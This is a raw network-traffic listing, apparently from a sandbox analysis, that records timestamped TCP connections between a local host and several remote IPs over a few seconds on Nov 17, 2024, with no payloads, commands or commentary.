Nov 17, 2024 03:42:38.713263035 CET	49851	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:38.713300943 CET	443	49851	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:38.713865995 CET	49851	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:38.713872910 CET	443	49851	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:38.714262009 CET	49850	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:38.714282990 CET	443	49850	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:38.714834929 CET	49850	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:38.714850903 CET	443	49850	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:38.736167908 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.736207962 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.736219883 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.736255884 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.736263037 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.736267090 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.736279011 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.736284018 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.736337900 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.750479937 CET	443	49835	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:38.750511885 CET	443	49835	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:38.750631094 CET	49835	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:38.750631094 CET	49835	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:38.750667095 CET	443	49835	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:38.750744104 CET	49835	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:38.771182060 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.771209955 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.771220922 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.771231890 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.771250010 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.771265984 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.771277905 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.771342993 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.771344900 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.771356106 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.771384954 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.771389008 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.771399975 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.771404982 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.771441936 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.771449089 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.771459103 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.771469116 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.771485090 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.771522999 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.771650076 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.771661043 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.771672010 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.771692038 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.771716118 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.771827936 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.771841049 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.771857977 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.771864891 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.771868944 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.771886110 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.771886110 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.771907091 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.771940947 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.772089005 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.772139072 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.772150993 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.772178888 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.772217035 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.772286892 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.772340059 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.772340059 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.772351027 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.772367001 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.772377968 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.772393942 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.772414923 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.772578001 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.772588968 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.772599936 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.772610903 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.772622108 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.772629023 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.772633076 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.772672892 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.806387901 CET	443	49849	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:38.806454897 CET	443	49849	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:38.806596041 CET	49849	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:38.807337046 CET	49849	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:38.807359934 CET	443	49849	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:38.807387114 CET	49849	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:38.807394981 CET	443	49849	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:38.811619997 CET	49857	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:38.811650991 CET	443	49857	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:38.811718941 CET	49857	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:38.812690020 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.812701941 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.812712908 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.812755108 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.812859058 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.813047886 CET	49857	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:38.813059092 CET	443	49857	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:38.842643023 CET	443	49850	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:38.842722893 CET	443	49850	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:38.842784882 CET	49850	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:38.845022917 CET	49850	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:38.845037937 CET	443	49850	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:38.845067978 CET	49850	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:38.845074892 CET	443	49850	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:38.845740080 CET	443	49835	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:38.845791101 CET	443	49835	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:38.845814943 CET	49835	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:38.845828056 CET	443	49835	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:38.845866919 CET	49835	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:38.848443031 CET	443	49851	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:38.848999023 CET	443	49851	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:38.849059105 CET	49851	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:38.853619099 CET	49860	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:38.853645086 CET	443	49860	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:38.853703976 CET	49860	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:38.853923082 CET	49851	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:38.853929043 CET	443	49851	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:38.855106115 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.855133057 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.855165958 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.855175972 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.855187893 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.855204105 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.855211020 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.855247021 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.855258942 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.855304003 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.859271049 CET	49861	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:38.859297991 CET	443	49861	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:38.859365940 CET	49861	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:38.862025976 CET	49860	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:38.862040997 CET	443	49860	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:38.862704039 CET	49861	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:38.862716913 CET	443	49861	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:38.890470028 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.890491962 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.890511990 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.890525103 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.890536070 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.890549898 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.890558004 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.890568972 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.890580893 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.890599966 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.890619993 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.890630960 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.890640020 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.890642881 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.890655041 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.890667915 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.890691996 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.890784025 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.890856981 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.890867949 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.890877962 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.890880108 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.890883923 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.890928030 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.891047955 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.891109943 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.891117096 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.891128063 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.891139030 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.891156912 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.891180038 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.891287088 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.891297102 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.891331911 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.891360044 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.891371012 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.891402960 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.891407013 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.891417027 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.891427994 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.891438961 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.891444921 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.891483068 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.891784906 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.891802073 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.891832113 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.891855001 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.931765079 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.931778908 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.931788921 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.931803942 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.931819916 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.931828976 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.931860924 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.931925058 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.948929071 CET	443	49852	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:38.949697971 CET	49852	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:38.949739933 CET	443	49852	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:38.950238943 CET	443	49852	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:38.953059912 CET	49852	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:38.953171015 CET	443	49852	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:38.953454018 CET	49852	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:38.953543901 CET	49852	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:38.953553915 CET	443	49852	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:38.962821007 CET	443	49835	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:38.962862015 CET	443	49835	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:38.963054895 CET	49835	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:38.963054895 CET	49835	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:38.963093042 CET	443	49835	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:38.963151932 CET	49835	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:38.974041939 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.974076033 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.974086046 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.974102974 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.974114895 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.974126101 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.974138021 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.974145889 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:38.974148035 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:38.974206924 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:39.009603977 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.009623051 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.009633064 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.009643078 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.009653091 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.009696007 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:39.009732008 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:39.025553942 CET	443	49835	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:39.025620937 CET	443	49835	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:39.025645018 CET	49835	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:39.025661945 CET	443	49835	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:39.025712013 CET	49835	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:39.061573029 CET	443	49853	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:39.062169075 CET	49853	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:39.062192917 CET	443	49853	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:39.063018084 CET	49853	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:39.063024998 CET	443	49853	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:39.077619076 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:39.082628012 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.093521118 CET	443	49854	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:39.094460011 CET	49854	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:39.094481945 CET	443	49854	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:39.094904900 CET	49854	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:39.094921112 CET	443	49854	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:39.101830006 CET	443	49835	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:39.101896048 CET	443	49835	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:39.101938963 CET	49835	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:39.101974964 CET	443	49835	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:39.101995945 CET	49835	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:39.102061987 CET	49835	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:39.103388071 CET	49862	443	192.168.2.5	23.221.22.197
Nov 17, 2024 03:42:39.103430986 CET	443	49862	23.221.22.197	192.168.2.5
Nov 17, 2024 03:42:39.103526115 CET	49862	443	192.168.2.5	23.221.22.197
Nov 17, 2024 03:42:39.104306936 CET	49863	443	192.168.2.5	23.221.22.197
Nov 17, 2024 03:42:39.104406118 CET	443	49863	23.221.22.197	192.168.2.5
Nov 17, 2024 03:42:39.104507923 CET	49863	443	192.168.2.5	23.221.22.197
Nov 17, 2024 03:42:39.105283976 CET	49864	443	192.168.2.5	23.221.22.197
Nov 17, 2024 03:42:39.105309963 CET	443	49864	23.221.22.197	192.168.2.5
Nov 17, 2024 03:42:39.105438948 CET	49864	443	192.168.2.5	23.221.22.197
Nov 17, 2024 03:42:39.105751038 CET	49862	443	192.168.2.5	23.221.22.197
Nov 17, 2024 03:42:39.105765104 CET	443	49862	23.221.22.197	192.168.2.5
Nov 17, 2024 03:42:39.105958939 CET	49863	443	192.168.2.5	23.221.22.197
Nov 17, 2024 03:42:39.106007099 CET	443	49863	23.221.22.197	192.168.2.5
Nov 17, 2024 03:42:39.106167078 CET	49864	443	192.168.2.5	23.221.22.197
Nov 17, 2024 03:42:39.106180906 CET	443	49864	23.221.22.197	192.168.2.5
Nov 17, 2024 03:42:39.192579985 CET	443	49853	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:39.192681074 CET	443	49853	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:39.192760944 CET	49853	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:39.192981005 CET	49853	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:39.192994118 CET	443	49853	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:39.193018913 CET	49853	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:39.193025112 CET	443	49853	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:39.196345091 CET	49865	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:39.196382999 CET	443	49865	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:39.196525097 CET	49865	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:39.196722984 CET	49865	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:39.196748018 CET	443	49865	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:39.197320938 CET	443	49835	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:39.197393894 CET	443	49835	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:39.197426081 CET	49835	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:39.197460890 CET	443	49835	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:39.197484016 CET	49835	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:39.197510958 CET	49835	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:39.231228113 CET	443	49854	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:39.231352091 CET	443	49854	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:39.231508970 CET	49854	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:39.233478069 CET	49854	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:39.233509064 CET	443	49854	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:39.233547926 CET	49854	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:39.233556032 CET	443	49854	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:39.237236023 CET	49866	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:39.237329960 CET	443	49866	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:39.237462044 CET	49866	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:39.237674952 CET	49866	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:39.237714052 CET	443	49866	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:39.240396976 CET	443	49852	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:39.240459919 CET	443	49852	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:39.240503073 CET	443	49852	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:39.240544081 CET	49852	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:39.240575075 CET	443	49852	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:39.240614891 CET	49852	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:39.240643978 CET	49852	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:39.279441118 CET	443	49855	13.107.246.57	192.168.2.5
Nov 17, 2024 03:42:39.282130003 CET	49855	443	192.168.2.5	13.107.246.57
Nov 17, 2024 03:42:39.282164097 CET	443	49855	13.107.246.57	192.168.2.5
Nov 17, 2024 03:42:39.282494068 CET	443	49855	13.107.246.57	192.168.2.5
Nov 17, 2024 03:42:39.282916069 CET	49855	443	192.168.2.5	13.107.246.57
Nov 17, 2024 03:42:39.282984018 CET	443	49855	13.107.246.57	192.168.2.5
Nov 17, 2024 03:42:39.283175945 CET	49855	443	192.168.2.5	13.107.246.57
Nov 17, 2024 03:42:39.314398050 CET	443	49835	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:39.314477921 CET	443	49835	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:39.314513922 CET	49835	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:39.314553022 CET	443	49835	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:39.314574957 CET	49835	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:39.314601898 CET	49835	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:39.323332071 CET	443	49855	13.107.246.57	192.168.2.5
Nov 17, 2024 03:42:39.334388018 CET	443	49856	13.107.246.57	192.168.2.5
Nov 17, 2024 03:42:39.334661961 CET	49856	443	192.168.2.5	13.107.246.57
Nov 17, 2024 03:42:39.334671021 CET	443	49856	13.107.246.57	192.168.2.5
Nov 17, 2024 03:42:39.335131884 CET	443	49856	13.107.246.57	192.168.2.5
Nov 17, 2024 03:42:39.335535049 CET	49856	443	192.168.2.5	13.107.246.57
Nov 17, 2024 03:42:39.335613966 CET	443	49856	13.107.246.57	192.168.2.5
Nov 17, 2024 03:42:39.335720062 CET	49856	443	192.168.2.5	13.107.246.57
Nov 17, 2024 03:42:39.357430935 CET	443	49852	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:39.357491970 CET	443	49852	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:39.357538939 CET	49852	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:39.357573032 CET	443	49852	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:39.357606888 CET	49852	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:39.357645035 CET	49852	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:39.361428022 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.361449957 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.361462116 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.361488104 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:39.361500025 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.361511946 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.361516953 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:39.361522913 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.361534119 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.361582041 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:39.361605883 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:39.361609936 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.361622095 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.361633062 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.361644030 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.361655951 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:39.361659050 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:39.361701965 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:39.377696037 CET	443	49835	40.118.171.167	192.168.2.5
